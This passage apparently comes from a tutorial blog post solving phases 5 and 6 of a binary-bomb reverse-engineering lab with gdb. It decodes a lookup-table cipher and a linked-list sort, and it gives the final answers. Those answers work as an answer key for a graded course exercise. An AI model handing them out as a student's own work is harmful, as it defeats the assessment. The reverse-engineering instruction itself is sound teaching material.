<span class="w"> </span>0x000055555555588b<span class="w"> </span><+91>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
...
</code></pre>
</div>
<p>First things first, these instructions check to make sure the passed string is of length 6, otherwise <code>explode_bomb</code> is called.</p>
<p>We can also see a similar pattern compared to Phase 2, where we had a loop:</p>
<ul>
<li>The looping part:
<ul>
<li><code>mov $0x0,%eax</code> - Initialise <code>%eax</code> and set it to 0 (our counter/iterator)</li>
<li><code>movzbl (%rbx,%rax,1),%edx</code> - Access <code>%rbx + 1 * %rax</code> and store it in <code>%edx</code></li>
<li><code>and $0xf,%edx</code> - Take the least significant 4 bits of the byte.</li>
<li><code>movzbl (%rcx,%rdx,1),%edx</code> - Use the 4 bits as an index into another array and load the corresponding byte into <code>%edx</code></li>
<li><code>mov %dl,0x9(%rsp,%rax,1)</code> - Store the transformed byte into a buffer on the stack</li>
<li><code>add $0x1,%rax</code> - Increment <code>%rax</code></li>
<li><code>cmp $0x6,%rax</code> - If the index is not yet 6, loop again</li>
</ul></li>
<li><code>movb $0x0,0xf(%rsp)</code> - Null-terminate the transformed string</li>
<li><code>lea 0x9(%rsp),%rdi</code> and <code>lea 0x1943(%rip),%rsi</code> </li>
<li><code>all 0x555555555b31 <strings_not_equal></code> check if the two strings loaded up just before this are equal or not.</li>
</ul>
<p>We can check the reference string we need, which <code>gdb</code> has marked as <code># 0x5555555571bf</code>, and the lookup table marked as <code># 0x5555555571f0 <array.0></code></p>
<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/s<span class="w"> </span>0x5555555571bf
0x5555555571bf:<span class="w"> </span><span class="s2">"bruins"</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/s<span class="w"> </span>0x5555555571f0
0x5555555571f0<span class="w"> </span><array.0>:<span class="w"> </span><span class="s2">"maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>
<p>To summarize the transformation process:</p>
<ul>
<li>The function takes each byte of the string</li>
<li>It keeps only the least significant 4 bits of each byte</li>
<li>It uses these 4 bits as an index into the lookup table (<code>array.0</code>)</li>
<li>The value from the array is then stored in a buffer</li>
</ul>
<p>Here's how the transformation process can be reversed for each character in "bruins":
1. Find the index of <code>b</code> in the lookup table (in our case, it is 13 since we index starting 0)
2. Calculate binary representation of this index (in our case 13 can be written as 1101 in binary)
3. Find ASCII character whose least significant 4 bits match (in our case, <code>m</code> has binary representation <code>01101101</code>)</p>
<p>Repeat for all 6 characters</p>
<p><em>Hint: Using an <a rel="noopener" target="_blank" href="http://sticksandstones.kstrom.com/appen.html">ASCII - Binary Table</a> can save you time.</em> </p>
<p>Thus, we can have the following transformation:</p>
<pre><code>b -> m
r -> f
u -> c
i -> d
n -> h
s -> g
</code></pre>
<p>Let us try out this answer:</p>
<div class="codehilite">
<pre><span></span><code>...
That<span class="err">'</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w"> </span>Keep<span class="w"> </span>going!
Halfway<span class="w"> </span>there!
So<span class="w"> </span>you<span class="w"> </span>got<span class="w"> </span>that<span class="w"> </span>one.<span class="w"> </span>Try<span class="w"> </span>this<span class="w"> </span>one.
mfcdhg
Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x0000555555555830<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_5<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">continue</span>
Continuing.
Good<span class="w"> </span>work!<span class="w"> </span>On<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>next...
</code></pre>
</div>
<p>Awesome!</p>
<h2 id="phase-6">Phase 6</h2>
<div class="codehilite">
<pre><span></span><code>Good<span class="w"> </span>work!<span class="w"> </span>On<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>next...
<span class="nb">test</span><span class="w"> </span>string
Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x0000555555555899<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_6<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas<span class="w"> </span>phase_6
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_6:
<span class="o">=</span>><span class="w"> </span>0x0000555555555899<span class="w"> </span><+0>:<span class="w"> </span>endbr64<span class="w"> </span>
<span class="w"> </span>0x000055555555589d<span class="w"> </span><+4>:<span class="w"> </span>push<span class="w"> </span>%r15
<span class="w"> </span>0x000055555555589f<span class="w"> </span><+6>:<span class="w"> </span>push<span class="w"> </span>%r14
<span class="w"> </span>0x00005555555558a1<span class="w"> </span><+8>:<span class="w"> </span>push<span class="w"> </span>%r13
<span class="w"> </span>0x00005555555558a3<span class="w"> </span><+10>:<span class="w"> </span>push<span class="w"> </span>%r12
<span class="w"> </span>0x00005555555558a5<span class="w"> </span><+12>:<span class="w"> </span>push<span class="w"> </span>%rbp
<span class="w"> </span>0x00005555555558a6<span class="w"> </span><+13>:<span class="w"> </span>push<span class="w"> </span>%rbx
<span class="w"> </span>0x00005555555558a7<span class="w"> </span><+14>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x68,%rsp
<span class="w"> </span>0x00005555555558ab<span class="w"> </span><+18>:<span class="w"> </span>lea<span class="w"> </span>0x40<span class="o">(</span>%rsp<span class="o">)</span>,%rax
<span class="w"> </span>0x00005555555558b0<span class="w"> </span><+23>:<span class="w"> </span>mov<span class="w"> </span>%rax,%r14
<span class="w"> </span>0x00005555555558b3<span class="w"> </span><+26>:<span class="w"> </span>mov<span class="w"> </span>%rax,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x00005555555558b8<span class="w"> </span><+31>:<span class="w"> </span>mov<span class="w"> </span>%rax,%rsi
<span class="w"> </span>0x00005555555558bb<span class="w"> </span><+34>:<span class="w"> </span>call<span class="w"> </span>0x555555555d97<span class="w"> </span><read_six_numbers>
<span class="w"> </span>0x00005555555558c0<span class="w"> </span><+39>:<span class="w"> </span>mov<span class="w"> </span>%r14,%r12
<span class="w"> </span>0x00005555555558c3<span class="w"> </span><+42>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x1,%r15d
<span class="w"> </span>0x00005555555558c9<span class="w"> </span><+48>:<span class="w"> </span>mov<span class="w"> </span>%r14,%r13
<span class="w"> </span>0x00005555555558cc<span class="w"> </span><+51>:<span class="w"> </span>jmp<span class="w"> </span>0x555555555997<span class="w"> </span><phase_6+254>
<span class="w"> </span>0x00005555555558d1<span class="w"> </span><+56>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x00005555555558d6<span class="w"> </span><+61>:<span class="w"> </span>jmp<span class="w"> </span>0x5555555559a9<span class="w"> </span><phase_6+272>
<span class="w"> </span>0x00005555555558db<span class="w"> </span><+66>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x1,%rbx
<span class="w"> </span>0x00005555555558df<span class="w"> </span><+70>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x5,%ebx
<span class="w"> </span>0x00005555555558e2<span class="w"> </span><+73>:<span class="w"> </span>jg<span class="w"> </span>0x55555555598f<span class="w"> </span><phase_6+246>
<span class="w"> </span>0x00005555555558e8<span class="w"> </span><+79>:<span class="w"> </span>mov<span class="w"> </span>0x0<span class="o">(</span>%r13,%rbx,4<span class="o">)</span>,%eax
<span class="w"> </span>0x00005555555558ed<span class="w"> </span><+84>:<span class="w"> </span>cmp<span class="w"> </span>%eax,0x0<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w"> </span>0x00005555555558f0<span class="w"> </span><+87>:<span class="w"> </span>jne<span class="w"> </span>0x5555555558db<span class="w"> </span><phase_6+66>
<span class="w"> </span>0x00005555555558f2<span class="w"> </span><+89>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x00005555555558f7<span class="w"> </span><+94>:<span class="w"> </span>jmp<span class="w"> </span>0x5555555558db<span class="w"> </span><phase_6+66>
<span class="w"> </span>0x00005555555558f9<span class="w"> </span><+96>:<span class="w"> </span>mov<span class="w"> </span>0x8<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w"> </span>0x00005555555558fe<span class="w"> </span><+101>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x18,%rdx
<span class="w"> </span>0x0000555555555902<span class="w"> </span><+105>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x7,%ecx
<span class="w"> </span>0x0000555555555907<span class="w"> </span><+110>:<span class="w"> </span>mov<span class="w"> </span>%ecx,%eax
<span class="w"> </span>0x0000555555555909<span class="w"> </span><+112>:<span class="w"> </span>sub<span class="w"> </span><span class="o">(</span>%r12<span class="o">)</span>,%eax
<span class="w"> </span>0x000055555555590d<span class="w"> </span><+116>:<span class="w"> </span>mov<span class="w"> </span>%eax,<span class="o">(</span>%r12<span class="o">)</span>
<span class="w"> </span>0x0000555555555911<span class="w"> </span><+120>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x4,%r12
<span class="w"> </span>0x0000555555555915<span class="w"> </span><+124>:<span class="w"> </span>cmp<span class="w"> </span>%r12,%rdx
<span class="w"> </span>0x0000555555555918<span class="w"> </span><+127>:<span class="w"> </span>jne<span class="w"> </span>0x555555555907<span class="w"> </span><phase_6+110>
<span class="w"> </span>0x000055555555591a<span class="w"> </span><+129>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x0,%esi
<span class="w"> </span>0x000055555555591f<span class="w"> </span><+134>:<span class="w"> </span>mov<span class="w"> </span>0x40<span class="o">(</span>%rsp,%rsi,4<span class="o">)</span>,%ecx
<span class="w"> </span>0x0000555555555923<span class="w"> </span><+138>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x1,%eax
<span class="w"> </span>0x0000555555555928<span class="w"> </span><+143>:<span class="w"> </span>lea<span class="w"> </span>0x3d01<span class="o">(</span>%rip<span class="o">)</span>,%rdx<span class="w"> </span><span class="c1"># 0x555555559630 <node1></span>
--Type<span class="w"> </span><RET><span class="w"> </span><span class="k">for</span><span class="w"> </span>more,<span class="w"> </span>q<span class="w"> </span>to<span class="w"> </span>quit,<span class="w"> </span>c<span class="w"> </span>to<span class="w"> </span><span class="k">continue</span><span class="w"> </span>without<span class="w"> </span>paging--
<span class="w"> </span>0x000055555555592f<span class="w"> </span><+150>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x1,%ecx
<span class="w"> </span>0x0000555555555932<span class="w"> </span><+153>:<span class="w"> </span>jle<span class="w"> </span>0x55555555593f<span class="w"> </span><phase_6+166>
<span class="w"> </span>0x0000555555555934<span class="w"> </span><+155>:<span class="w"> </span>mov<span class="w"> </span>0x8<span class="o">(</span>%rdx<span class="o">)</span>,%rdx
<span class="w"> </span>0x0000555555555938<span class="w"> </span><+159>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x1,%eax
<span class="w"> </span>0x000055555555593b<span class="w"> </span><+162>:<span class="w"> </span>cmp<span class="w"> </span>%ecx,%eax
<span class="w"> </span>0x000055555555593d<span class="w"> </span><+164>:<span class="w"> </span>jne<span class="w"> </span>0x555555555934<span class="w"> </span><phase_6+155>
<span class="w"> </span>0x000055555555593f<span class="w"> </span><+166>:<span class="w"> </span>mov<span class="w"> </span>%rdx,0x10<span class="o">(</span>%rsp,%rsi,8<span class="o">)</span>
<span class="w"> </span>0x0000555555555944<span class="w"> </span><+171>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x1,%rsi
<span class="w"> </span>0x0000555555555948<span class="w"> </span><+175>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x6,%rsi
<span class="w"> </span>0x000055555555594c<span class="w"> </span><+179>:<span class="w"> </span>jne<span class="w"> </span>0x55555555591f<span class="w"> </span><phase_6+134>
<span class="w"> </span>0x000055555555594e<span class="w"> </span><+181>:<span class="w"> </span>mov<span class="w"> </span>0x10<span class="o">(</span>%rsp<span class="o">)</span>,%rbx
<span class="w"> </span>0x0000555555555953<span class="w"> </span><+186>:<span class="w"> </span>mov<span class="w"> </span>0x18<span class="o">(</span>%rsp<span class="o">)</span>,%rax
<span class="w"> </span>0x0000555555555958<span class="w"> </span><+191>:<span class="w"> </span>mov<span class="w"> </span>%rax,0x8<span class="o">(</span>%rbx<span class="o">)</span>
<span class="w"> </span>0x000055555555595c<span class="w"> </span><+195>:<span class="w"> </span>mov<span class="w"> </span>0x20<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w"> </span>0x0000555555555961<span class="w"> </span><+200>:<span class="w"> </span>mov<span class="w"> </span>%rdx,0x8<span class="o">(</span>%rax<span class="o">)</span>
<span class="w"> </span>0x0000555555555965<span class="w"> </span><+204>:<span class="w"> </span>mov<span class="w"> </span>0x28<span class="o">(</span>%rsp<span class="o">)</span>,%rax
<span class="w"> </span>0x000055555555596a<span class="w"> </span><+209>:<span class="w"> </span>mov<span class="w"> </span>%rax,0x8<span class="o">(</span>%rdx<span class="o">)</span>
<span class="w"> </span>0x000055555555596e<span class="w"> </span><+213>:<span class="w"> </span>mov<span class="w"> </span>0x30<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w"> </span>0x0000555555555973<span class="w"> </span><+218>:<span class="w"> </span>mov<span class="w"> </span>%rdx,0x8<span class="o">(</span>%rax<span class="o">)</span>
<span class="w"> </span>0x0000555555555977<span class="w"> </span><+222>:<span class="w"> </span>mov<span class="w"> </span>0x38<span class="o">(</span>%rsp<span class="o">)</span>,%rax
<span class="w"> </span>0x000055555555597c<span class="w"> </span><+227>:<span class="w"> </span>mov<span class="w"> </span>%rax,0x8<span class="o">(</span>%rdx<span class="o">)</span>
<span class="w"> </span>0x0000555555555980<span class="w"> </span><+231>:<span class="w"> </span>movq<span class="w"> </span><span class="nv">$0</span>x0,0x8<span class="o">(</span>%rax<span class="o">)</span>
<span class="w"> </span>0x0000555555555988<span class="w"> </span><+239>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x5,%ebp
<span class="w"> </span>0x000055555555598d<span class="w"> </span><+244>:<span class="w"> </span>jmp<span class="w"> </span>0x5555555559c4<span class="w"> </span><phase_6+299>
<span class="w"> </span>0x000055555555598f<span class="w"> </span><+246>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x1,%r15
<span class="w"> </span>0x0000555555555993<span class="w"> </span><+250>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x4,%r14
<span class="w"> </span>0x0000555555555997<span class="w"> </span><+254>:<span class="w"> </span>mov<span class="w"> </span>%r14,%rbp
<span class="w"> </span>0x000055555555599a<span class="w"> </span><+257>:<span class="w"> </span>mov<span class="w"> </span><span class="o">(</span>%r14<span class="o">)</span>,%eax
<span class="w"> </span>0x000055555555599d<span class="w"> </span><+260>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x1,%eax
<span class="w"> </span>0x00005555555559a0<span class="w"> </span><+263>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x5,%eax
<span class="w"> </span>0x00005555555559a3<span class="w"> </span><+266>:<span class="w"> </span>ja<span class="w"> </span>0x5555555558d1<span class="w"> </span><phase_6+56>
<span class="w"> </span>0x00005555555559a9<span class="w"> </span><+272>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x5,%r15d
<span class="w"> </span>0x00005555555559ad<span class="w"> </span><+276>:<span class="w"> </span>jg<span class="w"> </span>0x5555555558f9<span class="w"> </span><phase_6+96>
<span class="w"> </span>0x00005555555559b3<span class="w"> </span><+282>:<span class="w"> </span>mov<span class="w"> </span>%r15,%rbx
<span class="w"> </span>0x00005555555559b6<span class="w"> </span><+285>:<span class="w"> </span>jmp<span class="w"> </span>0x5555555558e8<span class="w"> </span><phase_6+79>
<span class="w"> </span>0x00005555555559bb<span class="w"> </span><+290>:<span class="w"> </span>mov<span class="w"> </span>0x8<span class="o">(</span>%rbx<span class="o">)</span>,%rbx
<span class="w"> </span>0x00005555555559bf<span class="w"> </span><+294>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x1,%ebp
<span class="w"> </span>0x00005555555559c2<span class="w"> </span><+297>:<span class="w"> </span>je<span class="w"> </span>0x5555555559d5<span class="w"> </span><phase_6+316>
<span class="w"> </span>0x00005555555559c4<span class="w"> </span><+299>:<span class="w"> </span>mov<span class="w"> </span>0x8<span class="o">(</span>%rbx<span class="o">)</span>,%rax
<span class="w"> </span>0x00005555555559c8<span class="w"> </span><+303>:<span class="w"> </span>mov<span class="w"> </span><span class="o">(</span>%rax<span class="o">)</span>,%eax
<span class="w"> </span>0x00005555555559ca<span class="w"> </span><+305>:<span class="w"> </span>cmp<span class="w"> </span>%eax,<span class="o">(</span>%rbx<span class="o">)</span>
--Type<span class="w"> </span><RET><span class="w"> </span><span class="k">for</span><span class="w"> </span>more,<span class="w"> </span>q<span class="w"> </span>to<span class="w"> </span>quit,<span class="w"> </span>c<span class="w"> </span>to<span class="w"> </span><span class="k">continue</span><span class="w"> </span>without<span class="w"> </span>paging--
<span class="w"> </span>0x00005555555559cc<span class="w"> </span><+307>:<span class="w"> </span>jge<span class="w"> </span>0x5555555559bb<span class="w"> </span><phase_6+290>
<span class="w"> </span>0x00005555555559ce<span class="w"> </span><+309>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x00005555555559d3<span class="w"> </span><+314>:<span class="w"> </span>jmp<span class="w"> </span>0x5555555559bb<span class="w"> </span><phase_6+290>
<span class="w"> </span>0x00005555555559d5<span class="w"> </span><+316>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x68,%rsp
<span class="w"> </span>0x00005555555559d9<span class="w"> </span><+320>:<span class="w"> </span>pop<span class="w"> </span>%rbx
<span class="w"> </span>0x00005555555559da<span class="w"> </span><+321>:<span class="w"> </span>pop<span class="w"> </span>%rbp
<span class="w"> </span>0x00005555555559db<span class="w"> </span><+322>:<span class="w"> </span>pop<span class="w"> </span>%r12
<span class="w"> </span>0x00005555555559dd<span class="w"> </span><+324>:<span class="w"> </span>pop<span class="w"> </span>%r13
<span class="w"> </span>0x00005555555559df<span class="w"> </span><+326>:<span class="w"> </span>pop<span class="w"> </span>%r14
<span class="w"> </span>0x00005555555559e1<span class="w"> </span><+328>:<span class="w"> </span>pop<span class="w"> </span>%r15
<span class="w"> </span>0x00005555555559e3<span class="w"> </span><+330>:<span class="w"> </span>ret<span class="w"> </span>
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>
<p>Again, we see the familiar <code>read_six_digits</code> function.</p>
<p>Let us analyse this function in chunks:</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x00005555555558bb<span class="w"> </span><+34>:<span class="w"> </span>call<span class="w"> </span>0x555555555d97<span class="w"> </span><read_six_numbers>
<span class="w"> </span>0x00005555555558c0<span class="w"> </span><+39>:<span class="w"> </span>mov<span class="w"> </span>%r14,%r12
<span class="w"> </span>0x00005555555558c3<span class="w"> </span><+42>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x1,%r15d
<span class="w"> </span>0x00005555555558c9<span class="w"> </span><+48>:<span class="w"> </span>mov<span class="w"> </span>%r14,%r13
<span class="w"> </span>0x00005555555558cc<span class="w"> </span><+51>:<span class="w"> </span>jmp<span class="w"> </span>0x555555555997<span class="w"> </span><phase_6+254>
</code></pre>
</div>
<ol>
<li>Read six numbers</li>
<li>Initialise Registers:
2.1. <code>mov %r14,%r12</code>: <code>%r14</code> should be pointing to the location of the stack where the numbers were read into. This address is copied onto <code>%r12</code>
2.2. <code>mov $0x1,%r15d</code>: The value <code>1</code> is moved into <code>%r15</code> register (probably acting like a counter)
2.3. <code>mov %r14,%r13</code>: The value is also copied to <code>%r13</code></li>
<li>Jump to start of loop:</li>
</ol>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x0000555555555997<span class="w"> </span><+254>:<span class="w"> </span>mov<span class="w"> </span>%r14,%rbp
<span class="w"> </span>0x000055555555599a<span class="w"> </span><+257>:<span class="w"> </span>mov<span class="w"> </span><span class="o">(</span>%r14<span class="o">)</span>,%eax
<span class="w"> </span>0x000055555555599d<span class="w"> </span><+260>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x1,%eax
<span class="w"> </span>0x00005555555559a0<span class="w"> </span><+263>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x5,%eax
<span class="w"> </span>0x00005555555559a3<span class="w"> </span><+266>:<span class="w"> </span>ja<span class="w"> </span>0x5555555558d1<span class="w"> </span><phase_6+56>
</code></pre>
</div>
<ol>
<li>Initialise register and point to first number in sequence</li>
<li>Adjust number(s):
2.1. <code>mov (%r14),%eax</code> -> load the current number in the sequence
2.2. <code>sub $0x1,%eax</code> -> decrement number by 1</li>
<li>Validation
3.1. <code>cmp $0x5,%eax</code>: This compares the adjusted value in <code>%eax</code> with 5.
3.2. <code>ja 0x5555555558d1 <phase_6+56></code>: jump if given value is > 5 or < 0</li>
</ol>
<p>=> All numbers should be between 1 and 6.</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x00005555555559a9<span class="w"> </span><+272>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x5,%r15d
<span class="w"> </span>0x00005555555559ad<span class="w"> </span><+276>:<span class="w"> </span>jg<span class="w"> </span>0x5555555558f9<span class="w"> </span><phase_6+96>
</code></pre>
</div>
<p>This checks if the value stored in <code>%r15</code> is > 5, if it is then it jumps somewhere else. This validates our assumption that <code>%r15</code> is acting as a counter.</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x00005555555559b3<span class="w"> </span><+282>:<span class="w"> </span>mov<span class="w"> </span>%r15,%rbx
<span class="w"> </span>0x00005555555559b6<span class="w"> </span><+285>:<span class="w"> </span>jmp<span class="w"> </span>0x5555555558e8<span class="w"> </span><phase_6+79>
</code></pre>
</div>
<p>Let us jump to +79</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x00005555555558e8<span class="w"> </span><+79>:<span class="w"> </span>mov<span class="w"> </span>0x0<span class="o">(</span>%r13,%rbx,4<span class="o">)</span>,%eax
<span class="w"> </span>0x00005555555558ed<span class="w"> </span><+84>:<span class="w"> </span>cmp<span class="w"> </span>%eax,0x0<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w"> </span>0x00005555555558f0<span class="w"> </span><+87>:<span class="w"> </span>jne<span class="w"> </span>0x5555555558db<span class="w"> </span><phase_6+66>
<span class="w"> </span>0x00005555555558f2<span class="w"> </span><+89>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x00005555555558f7<span class="w"> </span><+94>:<span class="w"> </span>jmp<span class="w"> </span>0x5555555558db<span class="w"> </span><phase_6+66>
</code></pre>
</div>
<p>This section deals with checking if all the numbers in the sequence are unique or not. Thus, we need to ensure out 6 digits are unique</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x00005555555558db<span class="w"> </span><+66>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x1,%rbx<span class="w"> </span>//<span class="w"> </span>Increments<span class="w"> </span>by<span class="w"> </span><span class="m">1</span>
<span class="w"> </span>0x00005555555558df<span class="w"> </span><+70>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x5,%ebx<span class="w"> </span>
<span class="w"> </span>0x00005555555558e2<span class="w"> </span><+73>:<span class="w"> </span>jg<span class="w"> </span>0x55555555598f<span class="w"> </span><phase_6+246><span class="w"> </span>//<span class="w"> </span>Jump<span class="w"> </span><span class="k">if</span><span class="w"> </span>><span class="w"> </span><span class="m">5</span><span class="w"> </span><span class="o">(</span>Loop<span class="w"> </span>iterations<span class="w"> </span>are<span class="w"> </span><span class="nb">complete</span><span class="o">)</span>
<span class="w"> </span>0x00005555555558e8<span class="w"> </span><+79>:<span class="w"> </span>mov<span class="w"> </span>0x0<span class="o">(</span>%r13,%rbx,4<span class="o">)</span>,%eax<span class="w"> </span>
<span class="w"> </span>0x00005555555558ed<span class="w"> </span><+84>:<span class="w"> </span>cmp<span class="w"> </span>%eax,0x0<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w"> </span>0x00005555555558f0<span class="w"> </span><+87>:<span class="w"> </span>jne<span class="w"> </span>0x5555555558db<span class="w"> </span><phase_6+66><span class="w"> </span>//<span class="w"> </span>Again,<span class="w"> </span>check<span class="w"> </span><span class="k">if</span><span class="w"> </span>the<span class="w"> </span>number<span class="w"> </span>being<span class="w"> </span>seen<span class="w"> </span>is<span class="w"> </span>unique
</code></pre>
</div>
<p>Now we know that the numbers are unique, between 1-6 (inclusive).</p>
<p>After stepping through the instructions, we can also see that the numbers are being transformed:
* By subtracting it from 7 (mov $0x7,%ecx followed by sub (%r12),%eax)
* This effectively maps the numbers as follows: 1 to 6, 2 to 5, 3 to 4, 4 to 3, 5 to 2, and 6 to 1.</p>
<p>Let us try to figure out what <code>0x0000555555555928 <+143>: lea 0x3d01(%rip),%rdx # 0x555555559630 <node1></code> is:</p>
<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/30wx<span class="w"> </span>0x555555559630
0x555555559630<span class="w"> </span><node1>:<span class="w"> </span>0x000000d9<span class="w"> </span>0x00000001<span class="w"> </span>0x55559640<span class="w"> </span>0x00005555
0x555555559640<span class="w"> </span><node2>:<span class="w"> </span>0x000003ab<span class="w"> </span>0x00000002<span class="w"> </span>0x55559650<span class="w"> </span>0x00005555
0x555555559650<span class="w"> </span><node3>:<span class="w"> </span>0x0000014f<span class="w"> </span>0x00000003<span class="w"> </span>0x55559660<span class="w"> </span>0x00005555
0x555555559660<span class="w"> </span><node4>:<span class="w"> </span>0x000000a1<span class="w"> </span>0x00000004<span class="w"> </span>0x55559670<span class="w"> </span>0x00005555
0x555555559670<span class="w"> </span><node5>:<span class="w"> </span>0x000001b3<span class="w"> </span>0x00000005<span class="w"> </span>0x55559120<span class="w"> </span>0x00005555
0x555555559680<span class="w"> </span><host_table>:<span class="w"> </span>0x555573f5<span class="w"> </span>0x00005555<span class="w"> </span>0x5555740f<span class="w"> </span>0x00005555
0x555555559690<span class="w"> </span><host_table+16>:<span class="w"> </span>0x55557429<span class="w"> </span>0x00005555<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000
0x5555555596a0<span class="w"> </span><host_table+32>:<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/30wx<span class="w"> </span>0x555555559120
0x555555559120<span class="w"> </span><node6>:<span class="w"> </span>0x000002da<span class="w"> </span>0x00000006<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000
0x555555559130:<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000
0x555555559140<span class="w"> </span><userid>:<span class="w"> </span>0x61767861<span class="w"> </span>0x38383535<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000
0x555555559150<span class="w"> </span><userid+16>:<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000
0x555555559160<span class="w"> </span><userid+32>:<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000
0x555555559170<span class="w"> </span><userid+48>:<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000
0x555555559180<span class="w"> </span><userid+64>:<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000
0x555555559190<span class="w"> </span><userid+80>:<span class="w"> </span>0x00000000<span class="w"> </span>0x00000000
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>
<p>It appears that this is a linked list. With roughly the following structure:</p>
<div class="codehilite">
<pre><span></span><code><span class="k">struct</span><span class="w"> </span><span class="nc">node</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">value</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">index</span><span class="p">;</span>
<span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">node</span><span class="w"> </span><span class="o">*</span><span class="n">next</span><span class="p">;</span>
<span class="p">};</span>
</code></pre>
</div>
<p>Let us convert the values into decimal:</p>
<pre><code>0x000000d9 -> 217
0x000003ab -> 939
0x0000014f -> 335
0x000000a1 -> 161
0x000001b3 -> 435
0x000002da -> 730
</code></pre>
<p><strong>Missing Notes</strong></p>
<p>To re-arrange this linked list in descending order, we would arrange it as follows:</p>
<pre><code>Node 2 -> Node 6 -> Node 5 -> Node 3 -> Node 1 -> Node 4
</code></pre>
<p>Since we also need to apply the transformation: <code>7 - x</code>:</p>
<pre><code>(7-2) -> (7-6) -> ... -> (7-4)
</code></pre>
<p>Final answer: <code>5 1 2 4 6 3</code></p>
<p>Let us try the answer:</p>
<pre><code>...
